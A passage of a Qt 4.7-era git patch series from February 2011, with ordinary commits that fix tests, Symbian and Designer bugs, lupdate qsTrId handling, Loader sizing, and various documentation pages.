         QCOMPARE(blackRect->scale(), 1.5);
     
         // scale beyond bound
    @@ -243,9 +237,6 @@ void tst_QDeclarativePinchArea::scale()
         p2 += QPoint(50,50);
         QTest::touchEvent(vp).move(0, p1).move(1, p2);
     
    -#ifdef Q_OS_MAC
    -    QEXPECT_FAIL("", "todo on mac", Continue);
    -#endif
         QCOMPARE(blackRect->scale(), 2.0);
     
         QTest::touchEvent(vp).release(0, p1).release(1, p2);
    @@ -292,18 +283,9 @@ void tst_QDeclarativePinchArea::pan()
         p2 += QPoint(10,10);
         QTest::touchEvent(vp).move(0, p1).move(1, p2);
     
    -#ifdef Q_OS_MAC
    -    QEXPECT_FAIL("", "todo mac", Continue);
    -#endif
         QCOMPARE(root->property("center").toPointF(), QPointF(60, 60)); // blackrect is at 50,50
     
    -#ifdef Q_OS_MAC
    -    QEXPECT_FAIL("", "todo mac", Continue);
    -#endif
         QCOMPARE(blackRect->x(), 60.0);
    -#ifdef Q_OS_MAC
    -    QEXPECT_FAIL("", "todo mac", Continue);
    -#endif
         QCOMPARE(blackRect->y(), 60.0);
     
         // pan x beyond bound
    @@ -311,13 +293,7 @@ void tst_QDeclarativePinchArea::pan()
         p2 += QPoint(100,100);
         QTest::touchEvent(vp).move(0, p1).move(1, p2);
     
    -#ifdef Q_OS_MAC
    -    QEXPECT_FAIL("", "todo mac", Continue);
    -#endif
         QCOMPARE(blackRect->x(), 140.0);
    -#ifdef Q_OS_MAC
    -    QEXPECT_FAIL("", "todo mac", Continue);
    -#endif
         QCOMPARE(blackRect->y(), 160.0);
     
         QTest::touchEvent(vp).release(0, p1).release(1, p2);
    -- 
    cgit v0.12
    
    
    From 9b0488b3f0bd132ea8200e83850754c779b34436 Mon Sep 17 00:00:00 2001
    From: mread 
    Date: Tue, 1 Feb 2011 08:52:05 +0000
    Subject: Idle detector thread improvements
    
    The idle detector thread was creating its own heap, which was rather
    unnnecesary as it doesn't actually allocate any objects. Now it shares
    the main thread's heap.
    
    It was also unnamed, which makes life harder when there is a crash.
    The debugger is given information about all threads in a crash. When a
    thread is unnamed, you can't easily tell if its relevant to the crash
    or not. Now it is called "IdleDetectorThread".
    
    Task-number: QTBUG-17073
    Reviewed-by: axis
    ---
     src/corelib/kernel/qeventdispatcher_symbian.cpp | 3 ++-
     1 file changed, 2 insertions(+), 1 deletion(-)
    
    diff --git a/src/corelib/kernel/qeventdispatcher_symbian.cpp b/src/corelib/kernel/qeventdispatcher_symbian.cpp
    index 8872045..d6ab618a 100644
    --- a/src/corelib/kernel/qeventdispatcher_symbian.cpp
    +++ b/src/corelib/kernel/qeventdispatcher_symbian.cpp
    @@ -657,7 +657,7 @@ public:
         : m_state(STATE_RUN), m_stop(false)
         {
             qt_symbian_throwIfError(m_lock.CreateLocal(0));
    -        TInt err = m_idleDetectorThread.Create(KNullDesC(), &idleDetectorThreadFunc, 1024, NULL, this);
    +        TInt err = m_idleDetectorThread.Create(KNullDesC(), &idleDetectorThreadFunc, 1024, &User::Allocator(), this);
             if (err != KErrNone)
                 m_lock.Close();
             qt_symbian_throwIfError(err);
    @@ -692,6 +692,7 @@ public:
     private:
         static TInt idleDetectorThreadFunc(TAny* self)
         {
    +        User::RenameThread(_L("IdleDetectorThread"));
             static_cast(self)->IdleLoop();
             return KErrNone;
         }
    -- 
    cgit v0.12
    
    
    From 8c8d76ad7dc0d4fb8c95efb70245854f4f69cfc5 Mon Sep 17 00:00:00 2001
    From: axis 
    Date: Tue, 1 Feb 2011 11:15:55 +0100
    Subject: Fixed "not a valid preprocessing token" on GCCE.
    
    It seems to be fixed upstream already.
    
    RevBy:    Gareth Stockwell
    ---
     src/3rdparty/phonon/mmf/abstractaudioeffect.h | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/src/3rdparty/phonon/mmf/abstractaudioeffect.h b/src/3rdparty/phonon/mmf/abstractaudioeffect.h
    index 70adcf6..517a334 100644
    --- a/src/3rdparty/phonon/mmf/abstractaudioeffect.h
    +++ b/src/3rdparty/phonon/mmf/abstractaudioeffect.h
    @@ -124,7 +124,7 @@ private:
     
     #define PHONON_MMF_DEFINE_EFFECT_FUNCTIONS(Effect)                      \
                                                                             \
    -void Effect##::createEffect(AudioPlayer::NativePlayer *player)          \
    +void Effect::createEffect(AudioPlayer::NativePlayer *player)            \
     {                                                                       \
         C##Effect *ptr = 0;                                                 \
         QT_TRAP_THROWING(ptr = C##Effect::NewL(*player));                   \
    -- 
    cgit v0.12
    
    
    From 0e456bf74dfea10c0f5c164eb5a920e4661a91b2 Mon Sep 17 00:00:00 2001
    From: Jarek Kobus 
    Date: Tue, 1 Feb 2011 13:15:28 +0100
    Subject: Fix a crash when undoing form layout
    
    In a rare case when breaking a layout might
    make widgets overlap, the internal heuristic
    failed when recreating an original layout during undo.
    Some widgets were removed from the grid.
    The patch fixes this heuristic (makes sure
    we don't remove other widgets). Creating
    a form layout from overlapping widgets works
    better now.
    
    Reviewed-by: Friedemann Kleint 
    Task-number: QTCREATORBUG-3616
    ---
     tools/designer/src/lib/shared/layout.cpp         | 22 ++++++++++++++--------
     tools/designer/src/lib/shared/qlayout_widget.cpp |  3 +--
     2 files changed, 15 insertions(+), 10 deletions(-)
    
    diff --git a/tools/designer/src/lib/shared/layout.cpp b/tools/designer/src/lib/shared/layout.cpp
    index c9ffe71..9fe438b 100644
    --- a/tools/designer/src/lib/shared/layout.cpp
    +++ b/tools/designer/src/lib/shared/layout.cpp
    @@ -996,13 +996,23 @@ bool Grid::shrinkFormLayoutSpans()
         for (WidgetSet::const_iterator it = widgets.constBegin(); it != cend ; ++it) {
             QWidget *w = *it;
             int row, col,  rowspan, colspan;
    -        locateWidget(w, row, col, rowspan, colspan);
    +        if (!locateWidget(w, row, col, rowspan, colspan))
    +            qDebug("ooops, widget '%s' does not fit in layout", w->objectName().toUtf8().constData());
             const int maxColSpan = col == 0 ? 2 : 1;
             const int newColSpan = qMin(colspan, maxColSpan);
             const int newRowSpan = qMin(rowspan, maxRowSpan);
             if (newColSpan != colspan || newRowSpan != rowspan) {
    -            setCells(QRect(col, row, colspan, rowspan), 0);
    -            setCells(QRect(col, row, newColSpan, newRowSpan), w);
    +            // in case like this:
    +            // W1 W1
    +            // W1 W2
    +            // do:
    +            // W1 0
    +            // 0  W2
    +            for (int i = row; i < row + rowspan - 1; i++)
    +                for (int j = col; j < col + colspan - 1; j++)
    +                    if (i > row + newColSpan - 1 || j > col + newRowSpan - 1)
    +                        if (cell(i, j) == w)
    +                            setCell(i, j, 0);
                 shrunk = true;
             }
         }
    @@ -1177,11 +1187,7 @@ void GridLayout::doLayout()
                 if (const Spacer *spacer = qobject_cast(w))
                     alignment = spacer->alignment();
     
    -            if (rs * cs == 1) {
    -                addWidgetToGrid(layout, w, r, c, 1, 1, alignment);
    -            } else {
    -                addWidgetToGrid(layout, w, r, c, rs, cs, alignment);
    -            }
    +            addWidgetToGrid(layout, w, r, c, rs, cs, alignment);
     
                 w->show();
             } else {
    diff --git a/tools/designer/src/lib/shared/qlayout_widget.cpp b/tools/designer/src/lib/shared/qlayout_widget.cpp
    index 20db606..4debb5e 100644
    --- a/tools/designer/src/lib/shared/qlayout_widget.cpp
    +++ b/tools/designer/src/lib/shared/qlayout_widget.cpp
    @@ -1181,8 +1181,7 @@ QRect LayoutHelper::itemInfo(QLayout *lt, const QWidget *widget) const
                 } else {
                     for (int c = 0; c < FormLayoutColumns; c++) {
                         const QFormLayout::ItemRole role = c == 0 ? QFormLayout::LabelRole : QFormLayout::FieldRole;
    -                    if (widgets[c]) {
    -                        Q_ASSERT(BoxLayoutHelper::findItemOfWidget(items, widgets[c]));
    +                    if (widgets[c] && BoxLayoutHelper::findItemOfWidget(items, widgets[c])) {
                             formLayout->setWidget(r, role, widgets[c]);
                         } else {
                             formLayout->setItem(r, role, createFormSpacer());
    -- 
    cgit v0.12
    
    
    From 3cd70e43edb3458bae05a3e9c90b007ae2cb82b5 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Tue, 1 Feb 2011 13:43:00 +0100
    Subject: Doc: Updated the copyright statements in the templates.
    
    ---
     tools/qdoc3/test/qt-html-templates-online.qdocconf | 2 +-
     tools/qdoc3/test/qt-html-templates.qdocconf        | 2 +-
     2 files changed, 2 insertions(+), 2 deletions(-)
    
    diff --git a/tools/qdoc3/test/qt-html-templates-online.qdocconf b/tools/qdoc3/test/qt-html-templates-online.qdocconf
    index bc7dbd2..dc84e7d 100644
    --- a/tools/qdoc3/test/qt-html-templates-online.qdocconf
    +++ b/tools/qdoc3/test/qt-html-templates-online.qdocconf
    @@ -155,7 +155,7 @@ HTML.footer = \
         "  
    \n" \ "
    \n" \ "

    \n" \ - " © 2008-2010 Nokia Corporation and/or its\n" \ + " © 2008-2011 Nokia Corporation and/or its\n" \ " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ " in Finland and/or other countries worldwide.

    \n" \ "

    \n" \ diff --git a/tools/qdoc3/test/qt-html-templates.qdocconf b/tools/qdoc3/test/qt-html-templates.qdocconf index e2d2b4a..6f756da 100644 --- a/tools/qdoc3/test/qt-html-templates.qdocconf +++ b/tools/qdoc3/test/qt-html-templates.qdocconf @@ -23,7 +23,7 @@ HTML.footer = \ "

    \n" \ "
    \n" \ "

    \n" \ - " © 2008-2010 Nokia Corporation and/or its\n" \ + " © 2008-2011 Nokia Corporation and/or its\n" \ " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ " in Finland and/or other countries worldwide.

    \n" \ "

    \n" \ -- cgit v0.12 From 363d983f2f65e9b7bdc440d1c4f7b98fafc284bb Mon Sep 17 00:00:00 2001 From: Jedrzej Nowacki Date: Mon, 31 Jan 2011 11:16:17 +0200 Subject: Add new test to tst_QScriptContextInfo. Test checks comparison between two null contexts. Reviewed-by: Kent Hansen --- tests/auto/qscriptcontextinfo/tst_qscriptcontextinfo.cpp | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/tests/auto/qscriptcontextinfo/tst_qscriptcontextinfo.cpp b/tests/auto/qscriptcontextinfo/tst_qscriptcontextinfo.cpp index aba16b2..89c5330 100644 --- a/tests/auto/qscriptcontextinfo/tst_qscriptcontextinfo.cpp +++ b/tests/auto/qscriptcontextinfo/tst_qscriptcontextinfo.cpp @@ -93,6 +93,7 @@ private slots: void qtPropertyFunction(); void nullContext(); void streaming(); + void comparison_null(); void assignmentAndComparison(); }; @@ -366,6 +367,13 @@ void tst_QScriptContextInfo::streaming() } } +void tst_QScriptContextInfo::comparison_null() +{ + QScriptContextInfo info1, info2, info3(0); + QCOMPARE(info1, info2); + QCOMPARE(info1, info3); +} + void tst_QScriptContextInfo::assignmentAndComparison() { QScriptEngine eng; -- cgit v0.12 From 70727b3cd373c66aa8a4883ca05a9eaf1f0a0d6d Mon Sep 17 00:00:00 2001 From: Jedrzej Nowacki Date: Tue, 1 Feb 2011 15:50:26 +0200 Subject: Refactoring of tst_QScriptEngine::automaticSemicolonInsertion test. Test shouldn't relay on error message, but on error type. Reviewed-by: Kent Hansen --- tests/auto/qscriptengine/tst_qscriptengine.cpp | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/tests/auto/qscriptengine/tst_qscriptengine.cpp b/tests/auto/qscriptengine/tst_qscriptengine.cpp index c4c53e9..956f06c 100644 --- a/tests/auto/qscriptengine/tst_qscriptengine.cpp +++ b/tests/auto/qscriptengine/tst_qscriptengine.cpp @@ -3018,7 +3018,7 @@ void tst_QScriptEngine::automaticSemicolonInsertion() { QScriptValue ret = eng.evaluate("{ 1 2 } 3"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("SyntaxError: Parse error")); + QVERIFY(ret.toString().contains("SyntaxError")); } { QScriptValue ret = eng.evaluate("{ 1\n2 } 3"); @@ -3028,7 +3028,7 @@ void tst_QScriptEngine::automaticSemicolonInsertion() { QScriptValue ret = eng.evaluate("for (a; b\n)"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("SyntaxError: Parse error")); + QVERIFY(ret.toString().contains("SyntaxError")); } { QScriptValue ret = eng.evaluate("(function() { return\n1 + 2 })()"); @@ -3043,7 +3043,7 @@ void tst_QScriptEngine::automaticSemicolonInsertion() { QScriptValue ret = eng.evaluate("if (a > b)\nelse c = d"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("SyntaxError: Parse error")); + QVERIFY(ret.toString().contains("SyntaxError")); } { eng.evaluate("function c() { return { foo: function() { return 5; } } }"); @@ -3055,7 +3055,7 @@ void tst_QScriptEngine::automaticSemicolonInsertion() { QScriptValue ret = eng.evaluate("throw\n1"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("SyntaxError: Parse error")); + QVERIFY(ret.toString().contains("SyntaxError")); } { QScriptValue ret = eng.evaluate("a = Number(1)\n++a"); -- cgit v0.12 From bb84c5ef4f620af659395b66e6ed792a380b9a1f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Tor=20Arne=20Vestb=C3=B8?= Date: Tue, 1 Feb 2011 15:17:53 +0100 Subject: Don't ignore source-text when generating qsTrId translations for QML Reviewed-by: ossi --- tests/auto/linguist/lupdate/testdata/good/parseqml/main.qml | 3 +++ tests/auto/linguist/lupdate/testdata/good/parseqml/project.ts.result | 5 +++++ tools/linguist/lupdate/qdeclarative.cpp | 2 +- 3 files changed, 9 insertions(+), 1 deletion(-) diff --git a/tests/auto/linguist/lupdate/testdata/good/parseqml/main.qml b/tests/auto/linguist/lupdate/testdata/good/parseqml/main.qml index 768a4e2..c966fa1 100644 --- a/tests/auto/linguist/lupdate/testdata/good/parseqml/main.qml +++ b/tests/auto/linguist/lupdate/testdata/good/parseqml/main.qml @@ -93,5 +93,8 @@ QtObject { //: qsTrId() with comment, meta-data and plurals. //~ well-tested True qsTrId("qtn_bar_baz", 10); + + //% "Source text" + qsTrId("qtn_baz_biz"); } } diff --git a/tests/auto/linguist/lupdate/testdata/good/parseqml/project.ts.result b/tests/auto/linguist/lupdate/testdata/good/parseqml/project.ts.result index 7dac8cb..4843902 100644 --- a/tests/auto/linguist/lupdate/testdata/good/parseqml/project.ts.result +++ b/tests/auto/linguist/lupdate/testdata/good/parseqml/project.ts.result @@ -27,6 +27,11 @@ True + + + Source text + + BarContext diff --git a/tools/linguist/lupdate/qdeclarative.cpp b/tools/linguist/lupdate/qdeclarative.cpp index b85b1a7..1c1e9ad 100644 --- a/tools/linguist/lupdate/qdeclarative.cpp +++ b/tools/linguist/lupdate/qdeclarative.cpp @@ -225,7 +225,7 @@ protected: const QString id = literal->value->asString(); bool plural = node->arguments->next; - TranslatorMessage msg(QString(), QString(), + TranslatorMessage msg(QString(), sourcetext, QString(), QString(), m_fileName, node->firstSourceLocation().startLine, QStringList(), TranslatorMessage::Unfinished, plural); -- cgit v0.12 From 9880d5dfef94c47d3d3ed18566bff58a800d4d25 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 1 Feb 2011 17:52:29 +0100 Subject: Doc: Fixed broken links to the old Symbian Foundation Wiki. Task-number: QTBUG-17058 --- doc/src/deployment/deployment.qdoc | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/doc/src/deployment/deployment.qdoc b/doc/src/deployment/deployment.qdoc index 4817058..bc80ed3 100644 --- a/doc/src/deployment/deployment.qdoc +++ b/doc/src/deployment/deployment.qdoc @@ -1550,8 +1550,8 @@ \note If you want to have your application properly Symbian Signed for distribution, you will have to properly sign both the application and the application installer packages. Please see - \l{http://developer.symbian.org/wiki/index.php/Category:Symbian_Signed} - {Symbian Signed wiki} for more information about Symbian Signed. + \l{http://wiki.forum.nokia.com/index.php/Category:Symbian_Signed} + {Forum Nokia Wiki} for more information about Symbian Signed. For more information about creating a \c .sis file and installing it to device see also \l {The Symbian platform - Introduction to Qt#Installing your own applications}{here}. -- cgit v0.12 From 35a849e4e36ac6494233dc8307c4eac0c7fdf889 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 1 Feb 2011 17:55:44 +0100 Subject: Doc: Removed unnecessary HTML entity from the title. --- doc/src/howtos/HWacceleration.qdoc | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/doc/src/howtos/HWacceleration.qdoc b/doc/src/howtos/HWacceleration.qdoc index b5a4733..0dc5d5e 100644 --- a/doc/src/howtos/HWacceleration.qdoc +++ b/doc/src/howtos/HWacceleration.qdoc @@ -27,7 +27,7 @@ /*! \page HWAcc_rendering.html - \title Hardware Acceleration & Embedded Platforms. + \title Hardware Acceleration and Embedded Platforms. \brief How to use hardware acceleration for fast rendering. \ingroup best-practices @@ -45,11 +45,11 @@ \input platforms/emb-hardwareacceleration.qdocinc \section1 Supported platforms - Since there might be differences to how the APIs are being used on - the different embedded platforms, this table provides you with links to - pages dedicated to platform specific documentation for each - supported hardware acceleration API. Click the API link for the - platform to go the correct documentation. + Since there might be differences to how the APIs are being used on + the different embedded platforms, this table provides you with links to + pages dedicated to platform specific documentation for each + supported hardware acceleration API. Click the API link for the + platform to go the correct documentation. \table \header -- cgit v0.12 From eebe205b306daaa3674d9746de11a73bef4bd0de Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 1 Feb 2011 17:56:30 +0100 Subject: Doc: Fixed QML, unindented snippet. --- .../webkit/WebKit/qt/declarative/qdeclarativewebview.cpp | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/src/3rdparty/webkit/WebKit/qt/declarative/qdeclarativewebview.cpp b/src/3rdparty/webkit/WebKit/qt/declarative/qdeclarativewebview.cpp index 7a8aae7..4238d33 100644 --- a/src/3rdparty/webkit/WebKit/qt/declarative/qdeclarativewebview.cpp +++ b/src/3rdparty/webkit/WebKit/qt/declarative/qdeclarativewebview.cpp @@ -742,11 +742,11 @@ QWebPage* QDeclarativeWebView::page() const See QWebSettings for details of these properties. \qml - WebView { - settings.pluginsEnabled: true - settings.standardFontFamily: "Arial" - ... - } + WebView { + settings.pluginsEnabled: true + settings.standardFontFamily: "Arial" + // ... + } \endqml */ QDeclarativeWebSettings* QDeclarativeWebView::settingsObject() const -- cgit v0.12 From e09cd7062bb50067eb2d2db9197eb9d4ee170360 Mon Sep 17 00:00:00 2001 From: juhvu Date: Wed, 2 Feb 2011 10:16:16 +1000 Subject: Froze two more symbols and fixed compilation error (QtQuick11). Reviewed-by: Martin Jones --- src/declarative/util/qdeclarativestate_p.h | 4 ++-- src/s60installs/bwins/QtGuiu.def | 2 ++ src/s60installs/eabi/QtGuiu.def | 2 ++ 3 files changed, 6 insertions(+), 2 deletions(-) diff --git a/src/declarative/util/qdeclarativestate_p.h b/src/declarative/util/qdeclarativestate_p.h index 45e6e8d..60d0e0b 100644 --- a/src/declarative/util/qdeclarativestate_p.h +++ b/src/declarative/util/qdeclarativestate_p.h @@ -45,7 +45,7 @@ #include #include #include -#include +#include #include QT_BEGIN_HEADER @@ -76,7 +76,7 @@ public: QVariant toValue; QDeclarativeAbstractBinding *fromBinding; - QDeclarativeAbstractBinding::Pointer toBinding; + QWeakPointer toBinding; QDeclarativeActionEvent *event; //strictly for matching diff --git a/src/s60installs/bwins/QtGuiu.def b/src/s60installs/bwins/QtGuiu.def index 6a2bcb9..adf2b3c 100644 --- a/src/s60installs/bwins/QtGuiu.def +++ b/src/s60installs/bwins/QtGuiu.def @@ -12948,4 +12948,6 @@ EXPORTS ?ensureLayouted@QTextDocumentLayout@@QAEXM@Z @ 12947 NONAME ; void QTextDocumentLayout::ensureLayouted(float) ?layoutFinished@QTextDocumentLayout@@AAEXXZ @ 12948 NONAME ; void QTextDocumentLayout::layoutFinished(void) ?dynamicPageCount@QTextDocumentLayout@@QBEHXZ @ 12949 NONAME ; int QTextDocumentLayout::dynamicPageCount(void) const + ?setWordSelectionEnabled@QTextControl@@QAEX_N@Z @ 12950 NONAME ; void QTextControl::setWordSelectionEnabled(bool) + ?isWordSelectionEnabled@QTextControl@@QBE_NXZ @ 12951 NONAME ; bool QTextControl::isWordSelectionEnabled(void) const diff --git a/src/s60installs/eabi/QtGuiu.def b/src/s60installs/eabi/QtGuiu.def index d552931..564f530 100644 --- a/src/s60installs/eabi/QtGuiu.def +++ b/src/s60installs/eabi/QtGuiu.def @@ -12143,4 +12143,6 @@ EXPORTS _ZNK19QTextDocumentLayout9pageCountEv @ 12142 NONAME _ZTI19QTextDocumentLayout @ 12143 NONAME _ZTV19QTextDocumentLayout @ 12144 NONAME + _ZN12QTextControl23setWordSelectionEnabledEb @ 12145 NONAME + _ZNK12QTextControl22isWordSelectionEnabledEv @ 12146 NONAME -- cgit v0.12 From 501180c6fbed0857126da2bb0ff1f17ee35472c6 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Wed, 2 Feb 2011 11:20:29 +1000 Subject: Make sure we update Loader size if item size changes after creation. Task-number: QTBUG-17114 Reviewed-by: Bea Lam --- src/declarative/graphicsitems/qdeclarativeloader.cpp | 7 ++++++- .../qdeclarativeloader/data/QTBUG_17114.qml | 18 ++++++++++++++++++ .../qdeclarativeloader/tst_qdeclarativeloader.cpp | 13 +++++++++++++ 3 files changed, 37 insertions(+), 1 deletion(-) create mode 100644 tests/auto/declarative/qdeclarativeloader/data/QTBUG_17114.qml diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp index 562ef08..6c1f1be 100644 --- a/src/declarative/graphicsitems/qdeclarativeloader.cpp +++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp @@ -59,8 +59,13 @@ QDeclarativeLoaderPrivate::~QDeclarativeLoaderPrivate() void QDeclarativeLoaderPrivate::itemGeometryChanged(QDeclarativeItem *resizeItem, const QRectF &newGeometry, const QRectF &oldGeometry) { - if (resizeItem == item) + if (resizeItem == item) { + if (!updatingSize && newGeometry.width() != oldGeometry.width()) + itemWidthValid = true; + if (!updatingSize && newGeometry.height() != oldGeometry.height()) + itemHeightValid = true; _q_updateSize(false); + } QDeclarativeItemChangeListener::itemGeometryChanged(resizeItem, newGeometry, oldGeometry); } diff --git a/tests/auto/declarative/qdeclarativeloader/data/QTBUG_17114.qml b/tests/auto/declarative/qdeclarativeloader/data/QTBUG_17114.qml new file mode 100644 index 0000000..8a49733 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/QTBUG_17114.qml @@ -0,0 +1,18 @@ +import QtQuick 1.1 + +Rectangle { + property real loaderWidth: loader.width + property real loaderHeight: loader.height + width: 200 + height: 200 + + Loader { + id: loader + sourceComponent: Item { + property real iwidth: 32 + property real iheight: 32 + width: iwidth + height: iheight + } + } +} diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp index 42746e8..f5218c7 100644 --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp @@ -91,6 +91,7 @@ private slots: void creationContext(); void QTBUG_16928(); void implicitSize(); + void QTBUG_17114(); private: QDeclarativeEngine engine; @@ -619,6 +620,18 @@ void tst_QDeclarativeLoader::implicitSize() delete item; } +void tst_QDeclarativeLoader::QTBUG_17114() +{ + QDeclarativeComponent component(&engine, TEST_FILE("QTBUG_17114.qml")); + QDeclarativeItem *item = qobject_cast(component.create()); + QVERIFY(item); + + QCOMPARE(item->property("loaderWidth").toReal(), 32.); + QCOMPARE(item->property("loaderHeight").toReal(), 32.); + + delete item; +} + QTEST_MAIN(tst_QDeclarativeLoader) #include "tst_qdeclarativeloader.moc" -- cgit v0.12 From 634589cdcdeb608352e17007360c5fb7d916a527 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Mon, 31 Jan 2011 16:56:38 +1000 Subject: Improve docs on Item::visible and Item::opacity Task-number: QTBUG-16973 --- src/declarative/graphicsitems/qdeclarativeitem.cpp | 43 +++++++++++++++++----- 1 file changed, 33 insertions(+), 10 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp index e1c138f..ac5d55c 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp @@ -1911,11 +1911,26 @@ void QDeclarativeItem::setClip(bool c) /*! \qmlproperty bool Item::visible - Whether the item is visible. By default this is true. + This property holds whether the item is visible. By default this is true. - \note visible is not linked to actual visibility; if an item - moves off screen, or the opacity changes to 0, this will - not affect the visible property. + Setting this property directly affects the \c visible value of child + items. When set to \c false, the \c visible values of all child items also + become \c false. When set to \c true, the \c visible values of child items + are returned to \c true, unless they have explicitly been set to \c false. + + (Because of this flow-on behavior, using the \c visible property may not + have the intended effect if a property binding should only respond to + explicit property changes. In such cases it may be better to use the + \l opacity property instead.) + + Setting this property to \c false automatically causes \l focus to be set + to \c false, and this item will longer receive mouse and keyboard events. + (In contrast, setting the \l opacity to 0 does not affect the \l focus + property and the receiving of key events.) + + \note This property's value is only affected by changes to this property or + the parent's \c visible property. It does not change, for example, if this + item moves off-screen, or if the \l opacity changes to 0. */ @@ -2289,13 +2304,15 @@ void QDeclarativeItem::setBaselineOffset(qreal offset) /*! \qmlproperty real Item::opacity - The opacity of the item. Opacity is specified as a number between 0 - (fully transparent) and 1 (fully opaque). The default is 1. + This property holds the opacity of the item. Opacity is specified as a + number between 0 (fully transparent) and 1 (fully opaque). The default is 1. - Opacity is an \e inherited attribute. That is, the opacity is - also applied individually to child items. In almost all cases this - is what you want, but in some cases (like the following example) - it may produce undesired results. + When this property is set, the specified opacity is also applied + individually to child items. In almost all cases this is what you want, + but in some cases it may produce undesired results. For example in the + second set of rectangles below, the red rectangle has specified an opacity + of 0.5, which affects the opacity of its blue child rectangle even though + the child has not specified an opacity. \table \row @@ -2330,6 +2347,12 @@ void QDeclarativeItem::setBaselineOffset(qreal offset) } \endqml \endtable + + If an item's opacity is set to 0, the item will no longer receive mouse + events, but will continue to receive key events and will retain the keyboard + \l focus if it has been set. (In contrast, setting the \l visible property + to \c false stops both mouse and keyboard events, and also removes focus + from the item.) */ /*! -- cgit v0.12 From 08a3db6efd9fa48701491f9e8a8070e825a132f5 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Mon, 31 Jan 2011 17:22:06 +1000 Subject: update What's New for QtQuick 1.1 and AnimatedImage docs --- doc/src/declarative/whatsnew.qdoc | 18 ++++++++++++++---- .../graphicsitems/qdeclarativeanimatedimage.cpp | 9 +++++++++ 2 files changed, 23 insertions(+), 4 deletions(-) diff --git a/doc/src/declarative/whatsnew.qdoc b/doc/src/declarative/whatsnew.qdoc index 4b94d51..f4359f9 100644 --- a/doc/src/declarative/whatsnew.qdoc +++ b/doc/src/declarative/whatsnew.qdoc @@ -69,7 +69,7 @@ Added the following properties and methods: \o moveCursorSelection(int pos, SelectionMode mode) to enable selection by word \endlist -\section2 Image and BorderImage +\section2 Image, BorderImage and AnimatedImage Added the following properties: \list @@ -109,21 +109,31 @@ Added the following properties: \section2 Repeater -Added the following methods: +Added the following methods and signal handlers: \list \o onItemAdded() \o onItemRemoved() -\o itemAt() +\o itemAt(int index) \endlist +\section2 Component + +The createObject() method now accepts a map of initial property values for the created object. + \section2 Qt -Added the following properties: +Added the following properties and methods: \list \o application.layoutDirection \o application.active \endlist +\section2 Other changes + +\list +\o Functions can be assigned to properties from JavaScript to create property bindings +\endlist + \section1 Qt 4.7.1 diff --git a/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp b/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp index f62e374..27bb6a2 100644 --- a/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp @@ -87,6 +87,15 @@ QT_BEGIN_NAMESPACE */ /*! + \qmlproperty bool AnimatedImage::cache + \since Quick 1.1 + + Specifies whether the image should be cached. The default value is + true. Setting \a cache to false is useful when dealing with large images, + to make sure that they aren't cached at the expense of small 'ui element' images. +*/ + +/*! \qmlproperty bool AnimatedImage::mirror \since Quick 1.1 -- cgit v0.12 From 0ee4b2f32a539ee5dc1c08a838f6584ca9d896d4 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Tue, 1 Feb 2011 16:10:01 +1000 Subject: Add initial size to ListView in FolderListModel example Plus other minor doc changes --- doc/src/examples/qml-folderlistmodel.qdoc | 7 ++++++- doc/src/snippets/declarative/folderlistmodel.qml | 12 ++++++++---- 2 files changed, 14 insertions(+), 5 deletions(-) diff --git a/doc/src/examples/qml-folderlistmodel.qdoc b/doc/src/examples/qml-folderlistmodel.qdoc index c9d248e..0a01ce0 100644 --- a/doc/src/examples/qml-folderlistmodel.qdoc +++ b/doc/src/examples/qml-folderlistmodel.qdoc @@ -41,10 +41,15 @@ making the model available to QML. \section1 Usage from QML -The type we are creating can be used from QML like this: +The FolderListModel can be used from QML like this: \snippet doc/src/snippets/declarative/folderlistmodel.qml 0 +This displays a list of all subfolders and QML files in the current folder. + +The FolderListModel \c folder property can be set to change the folder that +is currently displayed. + \section1 Defining the Model We are subclassing QAbstractListModel which will allow us to give data to QML and diff --git a/doc/src/snippets/declarative/folderlistmodel.qml b/doc/src/snippets/declarative/folderlistmodel.qml index 3bddefb..8aeb72c 100644 --- a/doc/src/snippets/declarative/folderlistmodel.qml +++ b/doc/src/snippets/declarative/folderlistmodel.qml @@ -43,15 +43,19 @@ import QtQuick 1.0 import Qt.labs.folderlistmodel 1.0 ListView { + width: 200; height: 400 + FolderListModel { - id: foldermodel + id: folderModel nameFilters: ["*.qml"] } + Component 